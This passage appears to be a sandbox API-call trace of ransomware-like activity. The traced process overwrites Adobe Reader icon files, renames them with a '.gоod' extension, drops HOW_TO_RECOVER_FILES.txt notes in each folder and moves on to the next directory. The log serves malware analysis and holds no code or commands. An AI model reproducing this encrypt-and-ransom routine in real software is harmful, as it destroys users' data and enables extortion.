DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png", lpFilePart=0x0) returned 0x91 [0132.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea4d0) returned 1 [0132.793] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.793] GetFileType (hFile=0x640) returned 0x1 [0132.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea440) returned 1 [0132.793] GetFileType (hFile=0x640) returned 0x1 [0132.793] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdea628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdea628*=0) returned 0x1000 [0132.793] ReadFile (in: hFile=0x640, lpBuffer=0x37af4d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea5f8, lpOverlapped=0x0 | out: lpBuffer=0x37af4d8*, lpNumberOfBytesRead=0x1fdea5f8*=0x1000, lpOverlapped=0x0) returned 1 [0132.795] CloseHandle (hObject=0x640) returned 1 [0132.795] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png", nBufferLength=0x105, lpBuffer=0x1fde9fb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png", lpFilePart=0x0) returned 0x91 [0132.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea4d0) returned 1 [0132.795] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.795] GetFileType (hFile=0x640) returned 0x1 [0132.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea440) returned 1 [0132.795] GetFileType (hFile=0x640) returned 0x1 [0132.795] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdea628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdea628*=0) returned 0x77ad [0132.795] WriteFile (in: hFile=0x640, lpBuffer=0x37b0828*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdea518, lpOverlapped=0x0 | out: lpBuffer=0x37b0828*, lpNumberOfBytesWritten=0x1fdea518*=0x10, lpOverlapped=0x0) returned 1 [0132.796] CloseHandle (hObject=0x640) returned 1 [0132.796] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png", nBufferLength=0x105, lpBuffer=0x1fde9fb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png", lpFilePart=0x0) returned 0x91 [0132.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea4d0) returned 1 [0132.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.797] GetFileType (hFile=0x640) returned 0x1 [0132.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea440) returned 1 [0132.797] GetFileType (hFile=0x640) returned 0x1 [0132.797] ReadFile (in: hFile=0x640, lpBuffer=0x37b2ba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea5a8, lpOverlapped=0x0 | out: lpBuffer=0x37b2ba0*, lpNumberOfBytesRead=0x1fdea5a8*=0x1000, lpOverlapped=0x0) returned 1 [0132.835] CloseHandle (hObject=0x640) returned 1 [0132.835] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png", nBufferLength=0x105, lpBuffer=0x1fde9fb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png", lpFilePart=0x0) returned 0x91 [0132.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea4d0) returned 1 [0132.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.836] GetFileType (hFile=0x640) returned 0x1 [0132.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea440) returned 1 [0132.836] GetFileType (hFile=0x640) returned 0x1 [0132.836] WriteFile (in: hFile=0x640, lpBuffer=0x37b1840*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdea658, lpOverlapped=0x0 | out: lpBuffer=0x37b1840*, lpNumberOfBytesWritten=0x1fdea658*=0x1010, lpOverlapped=0x0) returned 1 [0132.836] CloseHandle (hObject=0x640) returned 1 [0132.836] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png", lpFilePart=0x0) returned 0x91 [0133.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png.gоod", lpFilePart=0x0) returned 0x96 [0133.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0133.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b628fdc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x77bd)) returned 1 [0133.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0133.821] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png.gоod")) returned 1 [0133.822] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png", lpFilePart=0x0) returned 0x80 [0133.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0133.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x37f5fe8 | out: lpFileInformation=0x37f5fe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f)) returned 1 [0133.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0133.823] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png", lpFilePart=0x0) returned 0x80 [0133.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0133.823] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.823] GetFileType (hFile=0x63c) returned 0x1 [0133.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0133.823] GetFileType (hFile=0x63c) returned 0x1 [0133.823] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x28f [0133.823] ReadFile (in: hFile=0x63c, lpBuffer=0x37f6610, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x37f6610*, lpNumberOfBytesRead=0x1fdea558*=0x28f, lpOverlapped=0x0) returned 1 [0133.824] CloseHandle (hObject=0x63c) returned 1 [0133.865] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png", lpFilePart=0x0) returned 0x80 [0133.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0133.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.866] GetFileType (hFile=0x63c) returned 0x1 [0133.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0133.866] GetFileType (hFile=0x63c) returned 0x1 [0133.866] WriteFile (in: hFile=0x63c, lpBuffer=0x386f978*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x386f978*, lpNumberOfBytesWritten=0x1fdea468*=0x290, lpOverlapped=0x0) returned 1 [0133.867] CloseHandle (hObject=0x63c) returned 1 [0133.867] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png", lpFilePart=0x0) returned 0x80 [0133.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png.gоod", lpFilePart=0x0) returned 0x85 [0133.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0133.868] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4c001116, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x290)) returned 1 [0133.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0133.868] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\cloud_icon.png.gоod")) returned 1 [0133.914] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdea270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0133.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea790) returned 1 [0133.914] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0133.914] GetFileType (hFile=0x63c) returned 0x1 [0133.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea700) returned 1 [0133.915] GetFileType (hFile=0x63c) returned 0x1 [0133.916] WriteFile (in: hFile=0x63c, lpBuffer=0x3873510*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdea858, lpOverlapped=0x0 | out: lpBuffer=0x3873510*, lpNumberOfBytesWritten=0x1fdea858*=0x5d0, lpOverlapped=0x0) returned 1 [0133.917] CloseHandle (hObject=0x63c) returned 1 [0133.917] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeaca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x85 [0133.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb1c0) returned 1 [0133.917] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0133.917] GetFileType (hFile=0x63c) returned 0x1 [0133.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb130) returned 1 [0133.917] GetFileType (hFile=0x63c) returned 0x1 [0133.918] WriteFile (in: hFile=0x63c, lpBuffer=0x3876e78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdeb288, lpOverlapped=0x0 | out: lpBuffer=0x3876e78*, lpNumberOfBytesWritten=0x1fdeb288*=0x5d0, lpOverlapped=0x0) returned 1 [0133.919] CloseHandle (hObject=0x63c) returned 1 [0133.919] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeb6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7e [0133.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebbf0) returned 1 [0133.919] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0133.920] GetFileType (hFile=0x63c) returned 0x1 [0133.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb60) returned 1 [0133.920] GetFileType (hFile=0x63c) returned 0x1 [0133.921] WriteFile (in: hFile=0x63c, lpBuffer=0x387a7c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdebcb8, lpOverlapped=0x0 | out: lpBuffer=0x387a7c0*, lpNumberOfBytesWritten=0x1fdebcb8*=0x5d0, lpOverlapped=0x0) returned 1 [0133.922] CloseHandle (hObject=0x63c) returned 1 [0133.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0133.922] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast", lpFilePart=0x0) returned 0x66 [0133.922] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.924] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.924] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2849, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_hiContrast_bow.png", cAlternateFileName="CORE_I~3.PNG")) returned 1 [0133.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e12, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_hiContrast_wob.png", cAlternateFileName="CORE_I~4.PNG")) returned 1 [0133.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2fe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_highcontrast.png", cAlternateFileName="COCE4C~1.PNG")) returned 1 [0133.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x67be, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_highcontrast_retina.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0133.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa759, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons__retina_hiContrast_bow.png", cAlternateFileName="COE106~1.PNG")) returned 1 [0133.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xad76, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons__retina_hiContrast_wob.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0133.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0133.925] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0133.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0133.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 